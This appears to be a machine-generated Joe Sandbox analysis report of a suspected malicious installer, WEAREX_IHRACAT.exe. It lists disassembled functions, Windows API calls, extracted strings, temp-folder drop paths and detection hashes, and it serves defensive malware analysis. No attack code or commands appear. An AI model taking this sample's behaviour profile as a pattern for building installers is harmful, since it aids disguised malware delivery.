Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 0272c2246cca4647d700f70f2fd171747a3fdfbbef28cbeed5ce4a742598da06
Instruction ID: dd9d9050def2d8c918bbc93d53338e60564b8b02708ef31213df2d5f0290820b
Opcode Fuzzy Hash: 0272c2246cca4647d700f70f2fd171747a3fdfbbef28cbeed5ce4a742598da06
Instruction Fuzzy Hash: 51B15C70900209BFDB219F60DD89EAE7B79FB04355F40803AFA05BA1A0C7759E52DF69

Function 00404B0E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B26
GetDlgItem.USER32(?,00000408), ref: 00404B31
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7B
LoadBitmapW.USER32(0000006E), ref: 00404B8E
SetWindowLongW.USER32(?,000000FC,00405106), ref: 00404BA7
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBB
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCD
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE3
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BEF
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C01
DeleteObject.GDI32(00000000), ref: 00404C04
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C2F
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD1
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D10
GetWindowLongW.USER32(?,000000F0), ref: 00404D3F
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4D
ShowWindow.USER32(?,00000005), ref: 00404D5E
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5B
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC0
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED5
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EF9
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F19
ImageList_Destroy.COMCTL32(?), ref: 00404F2E
GlobalFree.KERNEL32(?), ref: 00404F3E
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB7
SendMessageW.USER32(?,00001102,?,?), ref: 00405060
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040506F
InvalidateRect.USER32(?,00000000,00000001), ref: 0040508F
ShowWindow.USER32(?,00000000), ref: 004050DD
GetDlgItem.USER32(?,000003FE), ref: 004050E8
ShowWindow.USER32(00000000), ref: 004050EF

Strings

N, xrefs: 00404D99
, xrefs: 004050C7
M, xrefs: 00404CB8

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: bf664345da88dc12edd80d48b6c2875d0c41ff9ad1cb101931b2586e856e927d
Instruction ID: 29e4c212ffdeb16812bd97cb13f1a8c590c5d02c92ec483b1b79380362aa6ea4
Opcode Fuzzy Hash: bf664345da88dc12edd80d48b6c2875d0c41ff9ad1cb101931b2586e856e927d
Instruction Fuzzy Hash: 88026FB0A00209EFEB209F54DD85AAE7BB5FB84314F10817AF610B62E1C7799D52CF58

Function 004045C8 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404617
SetWindowTextW.USER32(00000000,?), ref: 00404641
SHBrowseForFolderW.SHELL32(?), ref: 004046F2
CoTaskMemFree.OLE32(00000000), ref: 004046FD
lstrcmpiW.KERNEL32(Call,004226D0,00000000,?,?), ref: 0040472F
lstrcatW.KERNEL32(?,Call), ref: 0040473B
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474D

Part of subcall function 004056A8: GetDlgItemTextW.USER32(?,?,00000400,00404784), ref: 004056BB

Part of subcall function 0040617C: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 004061DF
Part of subcall function 0040617C: CharNextW.USER32(?,?,?,00000000), ref: 004061EE
Part of subcall function 0040617C: CharNextW.USER32(?,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 004061F3
Part of subcall function 0040617C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 00406206

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 0040480E
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404829
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048AF

Strings

Call, xrefs: 00404729, 0040472E, 00404739
A, xrefs: 004046EB
C:\Users\user\gangningerne\jot\mtn, xrefs: 00404718

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\gangningerne\jot\mtn$Call
API String ID: 2246997448-3840848091
Opcode ID: 6fddff4e1689756d95d27fbad362c9768c9b964156ab75830da741ab968877ef
Instruction ID: c4517917acc678d55e137743079e569baa2315114eae4e5bd7326678801c6655
Opcode Fuzzy Hash: 6fddff4e1689756d95d27fbad362c9768c9b964156ab75830da741ab968877ef
Instruction Fuzzy Hash: B69171B1900219EBDB11AFA1CC85AAF77B8EF85314F10843BF611B72D1D77C9A418B69

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Users\user\gangningerne\jot\mtn\Discomplexion, xrefs: 004020F5

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\gangningerne\jot\mtn\Discomplexion
API String ID: 542301482-462110826
Opcode ID: 0ecf81e3720b8fa1d97477eddaf9048000be678ddf3c5f5c56140a49ea83b6a4
Instruction ID: c11495a377249a79f2c0f90d15cc2262a1b8c0356f549485b3d6f64f05c33611
Opcode Fuzzy Hash: 0ecf81e3720b8fa1d97477eddaf9048000be678ddf3c5f5c56140a49ea83b6a4
Instruction Fuzzy Hash: 51416F75A00104BFCB00DFA8C988EAE7BB6EF48314B20456AF905EB2D1CB79ED41CB55

Function 00403C55 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C91
ShowWindow.USER32(?), ref: 00403CAE
DestroyWindow.USER32 ref: 00403CC2
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CDE
GetDlgItem.USER32(?,?), ref: 00403CFF
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D13
IsWindowEnabled.USER32(00000000), ref: 00403D1A
GetDlgItem.USER32(?,00000001), ref: 00403DC8
GetDlgItem.USER32(?,00000002), ref: 00403DD2
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEC
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3D
GetDlgItem.USER32(?,00000003), ref: 00403EE3
ShowWindow.USER32(00000000,?), ref: 00403F04
EnableWindow.USER32(?,?), ref: 00403F16
EnableWindow.USER32(?,?), ref: 00403F31
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F47
EnableMenuItem.USER32(00000000), ref: 00403F4E
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F66
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F79
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA2
SetWindowTextW.USER32(?,004226D0), ref: 00403FB6
ShowWindow.USER32(?,0000000A), ref: 004040EA

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 0e378b7e1c055dadc5f2245ae5d1f830601bd13248d237f6f4b4b38bec7435ce
Instruction ID: 4e076ec7db8712f1269b31be3a161a6c229bb752fad246b02f2b6bf34ba01b4a
Opcode Fuzzy Hash: 0e378b7e1c055dadc5f2245ae5d1f830601bd13248d237f6f4b4b38bec7435ce
Instruction Fuzzy Hash: 5BC1D271A04205BBDB206F61ED49E3B3A69FB89745F40053EF601B11F1CB799852DB2E

Function 004042CA Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404368
GetDlgItem.USER32(?,000003E8), ref: 0040437C
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404399
GetSysColor.USER32(?), ref: 004043AA
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043B8
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C6
lstrlenW.KERNEL32(?), ref: 004043CB
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043D8
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043ED
GetDlgItem.USER32(?,0000040A), ref: 00404446
SendMessageW.USER32(00000000), ref: 0040444D
GetDlgItem.USER32(?,000003E8), ref: 00404478
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BB
LoadCursorW.USER32(00000000,00007F02), ref: 004044C9
SetCursor.USER32(00000000), ref: 004044CC
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E1
LoadCursorW.USER32(00000000,00007F00), ref: 004044ED
SetCursor.USER32(00000000), ref: 004044F0
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040451F
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404531

Strings

Call, xrefs: 004044A7
AB@, xrefs: 004044D6
open, xrefs: 004044D9
N, xrefs: 00404466

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: AB@$Call$N$open
API String ID: 3615053054-1375180041
Opcode ID: ade7f38ee6ed01377910c42966ef7019c8b9a8a80681b66c8b0a0f2d68505ed8
Instruction ID: a1eca56f6606bae04d2d34ddc617297d88c2ed2d28d9e68ba70837b4d7182fad
Opcode Fuzzy Hash: ade7f38ee6ed01377910c42966ef7019c8b9a8a80681b66c8b0a0f2d68505ed8
Instruction Fuzzy Hash: 657160F1A00209BFDB109F64DD85A6A7B69FB84755F00803AF705BA2D0C778AD51CFA9

Function 00405C06 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAA,?,?,00000001,00405922,?,00000000,000000F1,?), ref: 00405C16
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAA,?,?,00000001,00405922,?,00000000,000000F1,?), ref: 00405C3A
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C43

Part of subcall function 00405AB9: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF3,00000000,[Rename],00000000,00000000,00000000), ref: 00405AC9
Part of subcall function 00405AB9: lstrlenA.KERNEL32(00405CF3,?,00000000,00405CF3,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFB

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C60
wsprintfA.USER32 ref: 00405C7E
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CB9
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CC8
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D00
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D56
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D68
GlobalFree.KERNEL32(00000000), ref: 00405D6F
CloseHandle.KERNEL32(00000000), ref: 00405D76

Part of subcall function 00405B54: GetFileAttributesW.KERNELBASE(00000003,00402DFD,C:\Users\user\Desktop\WEAREX_IHRACAT.exe,80000000,00000003), ref: 00405B58
Part of subcall function 00405B54: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7A

Strings

p]B, xrefs: 00405C0B
peB, xrefs: 00405C55
NUL, xrefs: 00405C10
[Rename], xrefs: 00405CE8, 00405CFA
%ls=%ls, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction ID: 0cb0380f10309b38a88638d348484b434b9e263fedf19fa463d2a85e12a62083
Opcode Fuzzy Hash: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction Fuzzy Hash: 09410571604B197FD2206B716C4DF6B3A6CEF45714F14413BBA01B62D2E638AC018E7D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 0040617C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 004061DF
CharNextW.USER32(?,?,?,00000000), ref: 004061EE
CharNextW.USER32(?,"C:\Users\user\Desktop\WEAREX_IHRACAT.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 004061F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403330,C:\Users\user\AppData\Local\Temp\,752C3420,00403510), ref: 00406206

Strings

"C:\Users\user\Desktop\WEAREX_IHRACAT.exe", xrefs: 004061C0
C:\Users\user\AppData\Local\Temp\, xrefs: 0040617D, 00406182
*?|<>/":, xrefs: 004061CE

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454635066.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_WEAREX_IHRACAT.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-341263832
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: 7432597920acc0cf63456e540fa2db4f3ec2516b3ebf296f4b2d54ebc9aa4c6f
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: B711B67580021295EB303B548C40BB762F8AF54760F56803FE996772C2EB7C5C9286BD

Function 004024EC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll,00000400,?,?,00000021), ref: 0040252D
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll,00000400,?,?,00000021), ref: 00402534
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402566

Strings

8, xrefs: 0040250A
C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll, xrefs: 004024F8, 00402519, 00402523, 00402533, 0040255A
C:\Users\user\AppData\Local\Temp\nseB6DC.tmp, xrefs: 00402526

Memory Dump Source

Source File: 00000000.00000002.2454331246.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2454302020.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454387384.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454417897.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
